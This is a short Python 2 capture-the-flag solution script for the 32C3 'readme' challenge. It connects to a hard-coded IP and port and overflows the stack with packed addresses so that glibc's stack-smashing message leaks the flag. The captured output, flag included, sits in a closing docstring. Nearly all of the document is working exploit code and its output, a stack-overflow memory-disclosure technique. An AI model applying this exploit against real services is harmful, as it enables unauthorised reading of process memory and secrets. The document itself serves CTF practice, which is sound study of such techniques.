from pwn import connst
from struct import pack

s, t = connst("136.243.194.62", 1024)

print t.read_until("name? ")
s.send(pack("Q", 0x00400d20) * 68 + pack("Q", 0x00600d20) * 15 + "\n")

print t.read_until("flag: ")
s.send("LIBC_FATAL_STDERR_=1\n")

print s.recv(1024)
"""
Hello!
What's your name?
Nice to meet you,
@.
Please overwrite the flag:
Thank you, bye!
*** stack smashing detected ***: 32C3_ELF_caN_b3_pre7ty_we!rd... terminated
"""